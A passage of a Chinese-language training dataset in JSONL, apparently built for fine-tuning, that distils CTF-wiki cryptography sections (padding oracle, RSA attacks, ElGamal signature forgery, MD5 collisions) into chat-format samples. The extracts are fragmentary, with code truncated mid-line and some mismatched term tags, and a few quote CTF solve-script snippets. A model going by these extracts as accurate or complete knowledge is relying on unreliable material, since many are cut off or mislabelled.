Secret Server", "利用思路"], "original_id": "docs-1fb4eb04fbe893148568", "original_line": 341, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding-oracle-attack.md", "source_root": "docs", "source_sha256": "fb6fc7debd8aad3192ba0bd4d4358db49797dce32d33424ec6924178ff669f36", "split": "train", "split_group_key": "17ac0ba978549fecac0826c7", "subcategory": "crypto/blockcipher/mode", "terms": ["ROP/JOP", "密码学", "AI安全", "漏洞利用", "crypto", "blockcipher", "mode", "padding-oracle-attack.md", "code:python", "code:shell"], "title": "Padding Oracle Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding-oracle-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-474a02ee36625f54ba4a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/attack-summary/attack-mode.md` 中的章节「攻击模式」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/attack-summary/attack-mode.md`\n标题：简介\n章节：简介 > 攻击模式\n路径分类：crypto / crypto/attack-summary/attack-mode.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“攻击模式”展开。\n- 在当今的密码学分析时，一般我们都会假设攻击者知道密码学算法，这个假设是合理的，因为历史上有很多保密的算法最后都被人所知，比如 RC4。\n- 这里我们根据攻击者获取密码学系统的信息的多少将攻击模式分为以下几类 - 唯密文攻击：攻击者仅能获得一些加密过的密文。\n- 如果攻击者在攻击中途可以根据已经获取的信息选择新的明文并获取对应的密文，则称为适应性选择明文攻击。\n- 如果攻击者在攻击图中可以根据已经获取的信息选择一些新的密文并获取对应的明文，则称为适应性选择密文攻击。\n- 在我们攻击一个密码学系统时，我们或多或少会得到关于这个系统的一些信息。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- attack-summary\n- attack-mode.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 485, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "攻击模式", "heading_path": ["简介", "攻击模式"], "original_id": "docs-95053964849ebda6dee6", "original_line": 303, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/attack-summary/attack-mode.md", "source_root": "docs", "source_sha256": "e77083b248956e027e700014f30228ba642a30c4fdd886f668ab73fd2db3105a", "split": "train", "split_group_key": "ce38b20110a1a240865c2a0e", "subcategory": "crypto/attack-summary/attack-mode.md", "terms": ["密码学", "漏洞利用", "crypto", "attack-summary", "attack-mode.md"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/attack-summary/attack-mode.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-49b860a7d2ca3c0ab9e1", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_module_attack.md` 中的章节「JarvisOJ - Easy RSA」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_module_attack.md`\n标题：模数相关攻击\n章节：模数相关攻击 > 暴力分解 N > JarvisOJ - Easy RSA\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 这里我们以 \"JarvisOJ - Easy RSA\" 为例进行介绍，题目如下 > 还记得 veryeasy RSA 吗？\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-module-attack.md\n- code:python\n- code:shell\n\n代码/命令片段线索：\n- python: 10 行，首行 `p = 13574881`\n- shell: 2 行，首行 `➜ Jarvis OJ-Basic-easyRSA git:(master) ✗ python exp.py`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 637, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "JarvisOJ - Easy RSA", "heading_path": ["模数相关攻击", "暴力分解 N", "JarvisOJ - Easy RSA"], "original_id": "docs-5870921f3d41f5073647", "original_line": 14, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_module_attack.md", "source_root": "docs", "source_sha256": "5e7dd9efc7fea1fd04e70386bbcbf56b68a69be6a7860c56473f3dcdbad0f4b1", "split": "train", "split_group_key": "b7199b3dc1cb2e16d2d2fd39", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-module-attack.md", "code:python", "code:shell"], "title": "模数相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_module_attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-4b23bcb57ab61e84fac6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/streamcipher/prng/csprng.md` 中的章节「需求」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/streamcipher/prng/csprng.md`\n标题：密码安全伪随机数生成器\n章节：密码安全伪随机数生成器 > 需求\n路径分类：crypto / crypto/streamcipher/prng\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“需求”展开。\n- CSPRNG 必须通过 next-bit test，也就是说，知道了一个序列的前 k 个比特，攻击者不可能在多项式时间内以大于 50% 的概率预测出来下一个比特位。\n- 必须能够抵抗足够强的攻击，比如当生成器的部分初始状态或者运行时的状态被攻击者获知时，攻击者仍然不能够获取泄漏状态之前的生成的随机数。\n- 毫无疑问，密码学安全伪随机数生成器的要求肯定比一般的伪随机数生成器要高。\n- 这里特别提及一点，姚期智曾在 1982 年证明，如果一个生成器可以通过 next-bit test，那么它也可以通过所有其他的多项式时间统计测试。\n- 一般而言，CSPRNG 的要求可以分为两类 - 通过统计随机性测试。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- streamcipher\n- prng\n- csprng.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 389, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "需求", "heading_path": ["密码安全伪随机数生成器", "需求"], "original_id": "docs-503d84ae7a8f3a297d03", "original_line": 432, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/prng/csprng.md", "source_root": "docs", "source_sha256": "9ab8416d449f9f85959dedb105d21a7034542d0b938a54ae7a94c1442ae136b0", "split": "train", "split_group_key": "2071ccf6c056adc3edf350b5", "subcategory": "crypto/streamcipher/prng", "terms": ["密码学", "漏洞利用", "crypto", "streamcipher", "prng", "csprng.md"], "title": "密码安全伪随机数生成器"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/prng/csprng.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-4b704a502664eb807e31", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_e_attack.md` 中的章节「范例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_e_attack.md`\n标题：公钥指数相关攻击\n章节：公钥指数相关攻击 > 小公钥指数攻击 > 范例\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“范例”展开。\n- 这里我们使用 Crypto 库来读取公钥，使用 multiprocessing 来加快破解速度。\n- 这里我们以 XMan 一期夏令营课堂练习为例进行介绍（Jarvis OJ 有复现），附件中有一个 flag.enc 和 pubkey.pem，很明显是密文和公钥了，先用 openssl 读一下公钥。\n- ``python #/usr/bin/python\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-e-attack.md\n- code:bash\n\n代码/命令片段线索：\n- bash: 55 行，首行 `➜ Jarvis OJ-Extremely hard RSA git:(master) ✗ openssl rsa -pubin -in pubkey.pem -text -modulus`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 3816, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "范例", "heading_path": ["公钥指数相关攻击", "小公钥指数攻击", "范例"], "original_id": "docs-d8aac30dcc38a060ef12", "original_line": 260, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_e_attack.md", "source_root": "docs", "source_sha256": "a3d814d7714e3247d02eef8fcc9670e09cc807aee257b5c82d9b3727c831cff4", "split": "train", "split_group_key": "7555335ff021ec5535b9ece1", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "AI安全", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-e-attack.md", "code:bash"], "title": "公钥指数相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_e_attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-4b91445607db8e4cf23d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/signature/elgamal.md` 中的章节「bypass proof」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/signature/elgamal.md`\n标题：ElGamal\n章节：bypass proof\n路径分类：crypto / crypto/signature/elgamal.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“bypass proof”展开。\n- 分析到这里，其实就知道了，我们就是在选择指定签名进行伪造，这里我们自然要充分利用第二个if条件，只要我们确保我们输入的消息的开头为‘test’，并且该消息与以Th3_bery_un1que1i_ChArmIng_G3nji开头的固定消息模p-1同余，我们即可以通过验证。\n- sh.recvuntil('starting with ') prefix = sh.recvuntil('\\n', drop=True) print string.ascii_letters s = util.iters.mbruteforce(f, string.ascii_letters + string.digits, 5, 'fixed') test = prefix + s sh.sendline(test) `` 这里使用了pwntools中的util.iters.mbruteforce，这是一...\n- \\n\") ` 根据这三个if条件可以知道 - 我们的消息长度不能超过MSGLENGTH，40000。\n- 绕过之后，我们继续分析程序，简单看下generate_keys函数，可以知道该函数是ElGamal生成公钥的过程，然后看了看verify函数，就是验证签名的过程。\n- 我们需要使得以Th3_bery_un1que1i_ChArmIng_G3nji开头，以我们绕过proof的test为结尾的消息通过签名验证，其中，我们可以自己提供签名的值。\n\n关键术语：\n- ROP/JOP\n- 密码学\n- 漏洞利用\n- crypto\n- signature\n- elgamal.md\n\n代码/命令片段线索：\n- plain: 3 行，首行 `这里使用了pwntools中的util.iters.mbruteforce，这是一个利用给定字符集合以及指定长度进行多线程爆破的函数。其中，第一个参数为爆破函数，这里是sha1，第二个参数是字符集，第三个参数是字节数，第四个参数指的是...`\n- plain: 7 行，首行 `根据这三个if条件可以知道`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1730, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "bypass proof", "heading_path": ["bypass proof"], "original_id": "docs-0394207a035f3dc28047", "original_line": 415, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/signature/elgamal.md", "source_root": "docs", "source_sha256": "27a74c0adb780919721622473d1a1f478798fa14709d1afc907d81a8cd4b3b10", "split": "train", "split_group_key": "a691b55df8db380802dc3911", "subcategory": "crypto/signature/elgamal.md", "terms": ["ROP/JOP", "密码学", "漏洞利用", "crypto", "signature", "elgamal.md"], "title": "ElGamal"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/signature/elgamal.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-4c31760eccb70b0457fa", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/signature/elgamal.md` 中的章节「bypass proof」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/signature/elgamal.md`\n标题：ElGamal\n章节：bypass proof\n路径分类：crypto / crypto/signature/elgamal.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“bypass proof”展开。\n- sh.recvuntil('starting with ') prefix = sh.recvuntil('\\n', drop=True) print string.ascii_letters s = util.iters.mbruteforce(f, string.ascii_letters + string.digits, 5, 'fixed') test = prefix + s sh.sendline(test) sh.recvuntil('Current PK we are using: ') pu...\n\n关键术语：\n- ROP/JOP\n- 密码学\n- crypto\n- signature\n- elgamal.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 355, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "bypass proof", "heading_path": ["bypass proof"], "original_id": "docs-825b64926ed43944445b", "original_line": 417, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/signature/elgamal.md", "source_root": "docs", "source_sha256": "27a74c0adb780919721622473d1a1f478798fa14709d1afc907d81a8cd4b3b10", "split": "train", "split_group_key": "a691b55df8db380802dc3911", "subcategory": "crypto/signature/elgamal.md", "terms": ["ROP/JOP", "密码学", "crypto", "signature", "elgamal.md"], "title": "ElGamal"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/signature/elgamal.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-4d5fe92ef14fe4af5af1", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/hash/md5.md` 中的章节「破解」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/hash/md5.md`\n标题：MD5\n章节：MD5 > 破解\n路径分类：crypto / crypto/hash/md5.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“破解”展开。\n- 目前可以说md5已经基本被攻破了，一般的MD5的碰撞都可以在如下网上获取到 - http://www.cmd5.com/ - http://www.ttmd5.com/ - http://pmd5.com/ - https://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip (生成指定前缀的md5碰撞)\n\n关键术语：\n- 密码学\n- crypto\n- hash\n- md5.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 180, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "破解", "heading_path": ["MD5", "破解"], "original_id": "docs-8ed035754afe5cacdf2b", "original_line": 405, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/hash/md5.md", "source_root": "docs", "source_sha256": "608298efd70feb995500870993f1835c6a1556e107ae58996066eb4a2c7851ef", "split": "train", "split_group_key": "bfe70632cc69215ab7791d20", "subcategory": "crypto/hash/md5.md", "terms": ["密码学", "crypto", "hash", "md5.md"], "title": "MD5"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/hash/md5.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-4f4adf2b7671568f6291", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md` 中的章节「扩展维纳攻击」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md`\n标题：扩展维纳攻击\n章节：扩展维纳攻击 > 扩展维纳攻击\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 上述部分内容截至目前（2021/10）网络上已经有很多博文进行了讲解了分析，但是对于具体扩展维纳攻击的原理以及格构造或者是更高维的推广都没有给出。\n- 原文中这里是定义了两个关系式以及指出了他们的大小范围，这个范围很重要也容容易分析处理，之后我们所做的其实就是使用这两个式子的不同复合关系去构造一个格，然后通过求其基向量得到$d_1g/k_1$，从而可以算得$\\varphi(N)$并可以进一步的对$N$进行分解。\n- 为了将分析扩展到$n$个加密指数$e_i$（解密指数$d_i$很小），我们同时使用维纳和郭的方法，我们将关系 $$ d_ige_i - k_iN = g + k_is $$ 记为维纳等式$W_i$，同样我们可以得到关系 $$ k_id_je_j - k_jd_ie_i = k_i - k_j $$ 记为郭等式$G_{i,j}$。\n- 可以注意到$W_i$和$G_i$的右侧非常小，实际上分别最多为$N^{1/2 + \\alpha}$和$N^\\alpha$。\n- 其实到这里原理分析已经结束，关于格的构造其实也并不复杂，但是核心是这里的复合关系的选取，以及对于最后$\\alpha$大小的分析。\n- 我们假设$d_i$和$k_i$都小于$N^{\\alpha_n}$，且$g$很小，$s \\approx N^{1/2}$。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- d-attacks\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 660, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "扩展维纳攻击", "heading_path": ["扩展维纳攻击", "扩展维纳攻击"], "original_id": "docs-26d3e44d4379228c4388", "original_line": 294, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md", "source_root": "docs", "source_sha256": "6259fc513790c9ff568013f584880f4a71f53961789ec6058ea303d80373bd75", "split": "train", "split_group_key": "10613c943cc81a2a9b57823c", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "d-attacks"], "title": "扩展维纳攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-51f41e950ad2bbe84305", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_coppersmith_attack.md` 中的章节「2019 Defcon Quals ASRybaB」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_coppersmith_attack.md`\n标题：Coppersmith 相关攻击\n章节：Coppersmith 相关攻击 > Boneh and Durfee attack > 2019 Defcon Quals ASRybaB\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/2\n\n核心知识点：\n- 本节主题围绕“2019 Defcon Quals ASRybaB”展开。\n- 题目大概意思是，我们接收三对 RSA ，然后需要求出 d，然后对给定的数字 v[i] 加密，发送给服务器，只要时间在一定范围内，940s，即可。\n- ` 基本可以猜出来这是在生成 n，e，d，其实和我们最初的预期也差不多。\n- 56 428 LOAD_GLOBAL 4 (number) 431 LOAD_ATTR 11 (GCD) 434 LOAD_FAST 11 (e) 437 LOAD_FAST 6 (phi) 440 CALL_FUNCTION 2 443 LOAD_CONST 5 (1) 446 COMPARE_OP 3 (!\n- 我们来直接反编译一下 ``python >>> from uncompyle6 import code_deparse >>> code_deparse(code) Instruction context:\n- =) 449 POP_JUMP_IF_FALSE 458 ...\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-coppersmith-attack.md\n- code:python\n\n代码/命令片段线索：\n- python: 4 行，首行 `def send_challenges():`\n- python: 24 行，首行 `>>> import marshal`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 4731, "chunk_count": 2, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "2019 Defcon Quals ASRybaB", "heading_path": ["Coppersmith 相关攻击", "Boneh and Durfee attack", "2019 Defcon Quals ASRybaB"], "original_id": "docs-f4e2efb67bc20aab5002", "original_line": 13, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_coppersmith_attack.md", "source_root": "docs", "source_sha256": "db220315af2be2a8291b622dd2df0469bd60abd814130105e60db525c7d32fa0", "split": "train", "split_group_key": "7f7f14780a7ba93a9b28a936", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-coppersmith-attack.md", "code:python"], "title": "Coppersmith 相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_coppersmith_attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-5297d254a56599b6b0ad", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/streamcipher/fsr/lfsr.md` 中的章节「特征多项式与生成函数」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/streamcipher/fsr/lfsr.md`\n标题：线性反馈移位寄存器 - LFSR\n章节：线性反馈移位寄存器 - LFSR > 特征多项式与生成函数\n路径分类：crypto / crypto/streamcipher/fsr\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“特征多项式与生成函数”展开。\n- 可以看出 p(x) 完全由初始状态和反馈函数的系数决定。\n- 已知某个 n 级线性反馈移位寄存器的特征多项式，那么该序列对应的生成函数为 $A(x)=\\frac{p(x)}{\\overline f(x)}$ 其中，$p(x)=\\sum\\limits_{i=1}^{n}(c_{n-i}x^{n-i}\\sum\\limits_{j=1}^{i}a_jx^{j-1})$。\n\n关键术语：\n- 密码学\n- crypto\n- streamcipher\n- fsr\n- lfsr.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 182, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "特征多项式与生成函数", "heading_path": ["线性反馈移位寄存器 - LFSR", "特征多项式与生成函数"], "original_id": "docs-a0827cf68577522e87d5", "original_line": 425, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/fsr/lfsr.md", "source_root": "docs", "source_sha256": "e39355712e0a4051e131f623c61190326426eee636fb3cafd98b71aa37695627", "split": "train", "split_group_key": "b9b4dbc68c1151774f48f5ef", "subcategory": "crypto/streamcipher/fsr", "terms": ["密码学", "crypto", "streamcipher", "fsr", "lfsr.md"], "title": "线性反馈移位寄存器 - LFSR"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/fsr/lfsr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-5356975bb32ef140449e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/mode/padding-oracle-attack.md` 中的章节「介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/mode/padding-oracle-attack.md`\n标题：Padding Oracle Attack\n章节：Padding Oracle Attack > 介绍\n路径分类：crypto / crypto/blockcipher/mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“介绍”展开。\n- Padding Oracle Attack 攻击一般需要满足以下几个条件 - 加密算法 - 采用 PKCS5 Padding 的加密算法。\n- 攻击者可以和 padding oracle（即服务器） 进行交互：客户端向服务器端发送密文，服务器端会以某种返回信息告知客户端 padding 是否正常。\n- Padding Oracle Attack 攻击可以达到的效果如下 - 在不清楚 key 和 IV 的前提下解密任意给定的密文。\n- 攻击者能力 - 攻击者可以拦截上述加密算法加密的消息。\n- 当然，非对称加密中 OAEP 的填充方式也有可能会受到影响。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- blockcipher\n- mode\n- padding-oracle-attack.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 298, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "介绍", "heading_path": ["Padding Oracle Attack", "介绍"], "original_id": "docs-243f9685a307b713c996", "original_line": 338, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding-oracle-attack.md", "source_root": "docs", "source_sha256": "fb6fc7debd8aad3192ba0bd4d4358db49797dce32d33424ec6924178ff669f36", "split": "train", "split_group_key": "88f8fe43e8ada142f9c9bc11", "subcategory": "crypto/blockcipher/mode", "terms": ["密码学", "漏洞利用", "crypto", "blockcipher", "mode", "padding-oracle-attack.md"], "title": "Padding Oracle Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding-oracle-attack.md", "split": "train", "type": "ctf_lora_sft"}
